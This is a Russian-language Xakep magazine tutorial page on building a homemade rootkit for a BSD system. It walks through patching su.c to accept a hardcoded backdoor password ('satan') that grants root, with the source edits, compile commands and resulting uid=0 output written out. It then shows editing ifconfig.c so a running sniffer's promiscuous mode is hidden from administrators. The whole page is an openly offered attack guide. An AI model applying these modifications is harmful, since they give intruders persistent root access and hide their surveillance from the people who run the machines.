|

Слепой админ
Xakep, номер #020, стр. 020-056-3
Бинарики. -)
Давай теперь попробуем сделать что-нибудь с программой
su. Накодим так, чтобы мы могли суидиться на рута со
своим паролем стандартным.
Процедура в принципе та же, что и с логином.
И чтоб не повторяться, su мы переделаем немного по-другому. -)
bash#whereis su.c
su:/usr/bin/su /usr/share/man/man1/su.1.gz /usr/src/usr.bin/su
bash#
Топаем в папку /usr/src/usr.bin/su .
Редактируем Makefile.
В строку, начинающуюся с CFLAGS, добавим флаг
-g3
компилируем (из-под рута) и запускаем su (запускать нужно из-под
обычного пользователя)...
bash#make
Отчмодь su с флагом Set user ID on execution .
И потом из-под обычного пользователя вводи
mal$cd /usr/src/usr.bin/su
mal$./su
Password:
Так, ну тут нам тоже потребуется найти функцию, в которой сверяется
Пароль, введенный юзверем, с паролем, который в базе данных (файле паролей).
Ну что, открываем файл su.c (из-под рута, естественно) -) и ищем там строку
Passwd:
Упс, вот я нашел такую интересную строчку: -)
p = getpass("Password:");
Заменю-ка я ее на... эээ... допустим...
p = getpass("Loh:");
Сохраню и откомпилю su заново. -)
bash#rm su
bash#rm *.o
bash#make
не забудь отчмодить с флагом Set user ID on execution .
И из-под обычного пользователя грузим:
mal$./su
Password:
Опа, не изменилась надпись... Хм... Ладно, не впервой, -) ща разберемся...
Лезем опять в Makefile ...
Удаляем оттуда на фиг строку
COPTS+= -DSKEY
Компилим и чмодим su заново...
Запускаем:
mal$./su
Loh:
Вот где собака порылась... стираем su и su.o
и лезем опять в su.c.
Вставим сразу перед функцией main() массив с нашим паролем:
char blabla[]="satan";
Теперь доходим до строки
p=getpass("Loh:");
Спускаемся на пару строк ниже... ищем такую
байду
#ifdef KERBEROS
.....................(здесь бадяга разная)
#endif
{
И после этой фигурной скобки вставляем
if(strcmp(p,blabla)!=NULL)
{
потом спускаемся еще на пару строк ниже... находим:
exit(1);
и после нее пихаем еще одну фигурную скобку.
}
Сохраняем... компилируем... чмодим... и пробуем. -)
mal$./su
Loh:satan
bash#id
uid=0(root) gid=0(wheel) groups=0(wheel)
Все. -) Теперь заменим в su.c Loh на Passwd
и откомпилируем заново. Правильно чмодим и кидаем
в
/usr/bin/ -)
Если ты собираешься запустить на тачке сниффер,
то не помешало бы переписать ifconfig.
Ведь когда ты запускаешь сниффер, он ставит
сетевуху в promisc mode. А админы очень часто
проверяют состояние сетевых девайсов командой
ifconfig-a.
Так вот, если зло-админ посмотрит ifconfig,
то там твой сниффер и засветится. Будет написано,
что карточка в режиме promisc.
А переписать эту прогу можно практически за одну минуту.
bash#whereis ifconfig.c
ifconfig: /sbin/ifconfig /usr/src/sbin/ifconfig
bash#
Валим в /usr/src/sbin/ifconfig .
Открываем ifconfig.c .
Находим там
#define IFFBITS \
"\020\1UP.......... и так далее.
Стираем там слово PROMISC на фиг и сохраняем исходник.
Компилируем и кидаем куда надо. -)
bash#make
bash#mv ifconfig /usr/sbin/
Все.
Вот, в общем-то, и набор таких переписанных прог
можно назвать руткитом. -) А руткит куда круче, когда
написал его ты САМ!!!
Назад на стр. 020-056-2 Содержание
|